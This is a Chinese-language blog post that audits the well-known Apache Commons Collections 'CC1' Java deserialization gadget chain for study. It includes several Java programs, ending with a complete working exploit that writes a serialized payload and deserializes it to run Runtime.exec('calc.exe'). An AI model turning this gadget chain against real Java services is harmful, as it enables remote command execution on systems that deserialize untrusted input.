java-CC1 鏈條審計

Ling-X5發表於2024-09-18

java-CC1 鏈條審計

CC1 是 CommonsCollections1 的簡稱,它是 Apache Commons Collections 庫中的一個已知的反序列化利用鏈。而這個庫也是 java 中比較通用的庫。在 java 語言裡面有執行系統命令的Runtime類

像 php 中的 eval()、system()、exec()、shell_exec()、assert()、passthru()、escapeshellcmd()、pcntl_exec()等命令執行函式相似

CC1 呼叫鏈條

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
     ChainedTransformer.transform()
     ConstantTransformer.transform()
        Map().setValue()
    		Entry.setValue()
    		TransformedMap.checkSetValue()
              InvokerTransformer.transform()
                    Method.invoke()
                    Runtime.exec()

終點發現

InvokerTransformer

InvokerTransformer 類中有一個 transform 方法,他在方法裡面對 傳入的引數 進行了反射,執行了方法。

image-20240917162213875

讓我們來執行下邊程式碼,看一下這個重點是否是可以執行命令的

public class ApacheCC1 {
    public void testInvoker(){

        Runtime runtime = Runtime.getRuntime();
        Object[] args = new Object[]{"calc.exe"};
        String methodName = "exec";
        Class[] paramType = new Class[]{String.class};
        InvokerTransformer transformer = new InvokerTransformer(methodName,paramType,args);
        transformer.transform(runtime);
    }
    public static void main(String[] args) throws Exception {
        ApacheCC1 a = new ApacheCC1();
        a.testInvoker();

    }
}

透過向 InvokerTransformer 傳入反射的 Runtime 類,可以看到,我們成功開啟了我們電腦上的計算器。

image-20240917162854899

這就說明了這個反序列的終點是可用的。

找到了終點,我們透過 idea 的功能去尋找看看有沒有可控的引數呼叫這個終點函式 tansform() 方法

TransformedMap

我們已經知道了 CC1 鏈條的結果,就不必再去複審可能的結果,直接看鏈條構成的函式 TransformedMap.checkSetValue() 方法

image-20240917202806791

接著檢視 checkSetValue() 是誰再呼叫

image-20240917203634663

發現就這一個結果 MapEntrysetValue() 在呼叫,我們可以寫段程式碼來驗證這個 SetValue() 方法是否可以執行命令。

  • 當然我們在建立 TransformedMap 類時發現,它的構造方法是 protected,也就是不能直接 new()出這個物件

image-20240917204809217

  • 我們在本類裡檢視,有沒有方法呼叫了這個構造方法,可以藉助其他方法幫我們完成例項化 TransformedMap

image-20240917204956065

看到 decorate() 這個 public 的方法呼叫了 TransformedMap 的構造方法

用下面這段程式碼,檢驗這個方法是否可以呼叫

public void test02()  {
    System.out.println("正在執行");
    Runtime runtime = Runtime.getRuntime();
    Object[] args = new Object[]{"calc.exe"};
    String methodName = "exec";
    Class[] paramType = new Class[]{String.class};
    InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);
    Transformer valueTrans = transformer;
    Map map = new HashMap();
    map.put(1,1);
    Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);
    for(Map.Entry entry : transformed.entrySet()) {
        entry.setValue(runtime);
    }
}

執行,成功開啟了計算機

image-20240917210216161

注意:這裡之所以會去繼續找上層的 MapEntrysetValue() 方法,是因為我們透過 TransformedMap.decorate() 方法獲取的物件是 Map 類,而 Map 類是 TransformedMap 的父類,他不能呼叫子類的 checkSetValue() 方法,無法使鏈條閉環

起點

AnnotationInvocationHandler

在 JDK 的內建物件中 sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject() 方法呼叫了 setValue() 方法

readObject() 就是反序列化自動執行的程式碼。

image-20240918101922215

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        // Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

可以看到這段程式碼在第 26 行呼叫了 setValue() 方法,但是我們仍然遇到了問題

  • 要滿足 if 語句中 memberType != null!(memberType.isInstance(value) ||value instanceof ExceptionProxy) 的判斷,讓程式碼可以自動執行到 setValue() 方法
  • setValue() 方法的引數得換成 RunTime 物件

嘗試除錯執行以下程式碼

public class ApacheCC1 {
    public void test03() throws Exception {
        Runtime runtime = Runtime.getRuntime();

        Object[] args = new Object[]{"calc.exe"};
        String methodName = "exec";
        Class[] paramType = new Class[]{String.class};
        InvokerTransformer transformer =new InvokerTransformer(methodName,paramType,args);
        Transformer valueTrans = transformer;
        Map map = new HashMap();
        map.put("value","1");
        Map<Object,Object> transformed = TransformedMap.decorate(map,null,valueTrans);
        // for(Map.Entry entry : transformed.entrySet()) {
        //     entry.setValue(runtime);
        // }
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(SuppressWarnings.class,transformed);
        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);

    }
    public void unserializeCC1() throws Exception {
        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        System.out.println("執行完成");
    }

    public static void main(String[] args) throws Exception {
        ApacheCC1 a = new ApacheCC1();
       
        a.test03();
        a.unserializeCC1();
    }
}

可以看到,我們的鏈條已經滿足了 if 語句裡的判斷,進入了

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
    memberValue.setValue(
        new AnnotationTypeMismatchExceptionProxy(
            value.getClass() + "[" + value + "]").setMember(
            annotationType.members().get(name)));
}

但是我們 setValue() 方法的引數是無效的引數

這時候就巧妙地用到了 constantTransformer.transform() 方法,因為這個方法不管引數是什麼,他最終都只會返回 iConstant 物件,我們把這個類裡的 iConstant 賦值為 Runtime 物件,就可以使鏈條閉環

image-20240918122847125

但是這樣我們在傳入引數的時候又遇到了一個問題

  • 就是我要傳入兩個有 transform() 方法的類 constantTransformerInvokerTransformer

這時候我們就看到了 ChainedTransformertransform() 方法,他是在遍歷物件的 transform() 方法

image-20240918123654010

這就允許我們的 CC1 鏈條完全閉環

最終程式碼

public class ApacheCC1 {
    public void CC1() throws Exception {

        Map map = new HashMap();
        map.put("value","1");
        // ConstantTransformer返回Runtime
        ConstantTransformer constantTrans = new ConstantTransformer(Runtime.class);

        // 反射出Runtime
        Transformer[] transformed_arry = new Transformer[]{
            constantTrans,
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        // ChainedTransformer迴圈呼叫transform()方法
        ChainedTransformer chainedTrans = new ChainedTransformer(transformed_arry);

        // 例項化傳入ChainedTransformer物件
        Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTrans);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(SuppressWarnings.class,transformed);
        FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);

    }
    public void unserializeCC1() throws Exception {
        FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        System.out.println("執行完成");
    }
    public static void main(String[] args) throws Exception {
        ApacheCC1 a = new ApacheCC1();
        a.CC1();
        a.unserializeCC1();
    }
}

總結

我過程寫的很簡潔,因為我們在上帝視角來看這條鏈條,沒有真正審計時候的迷茫和一些心理的煎熬。

而筆記的主要作用也是幫助我們可以串思路,能夠想起這個鏈條的幾個轉折點夠了

  • MapEntry 的 setValue()方法,因為``TransformedMap.decorate()方法獲取的物件是Map類,而Map類是TransformedMap的父類,他不能呼叫子類的checkSetValue()`方法
  • 尋找起點時的 ChainedTransformer.transform() ==> ConstantTransformer.transform() ==> InvokerTransformer的竅門利用
  • Runtime類反射傳入InvokerTransformer,應為Runtime類不能被序列化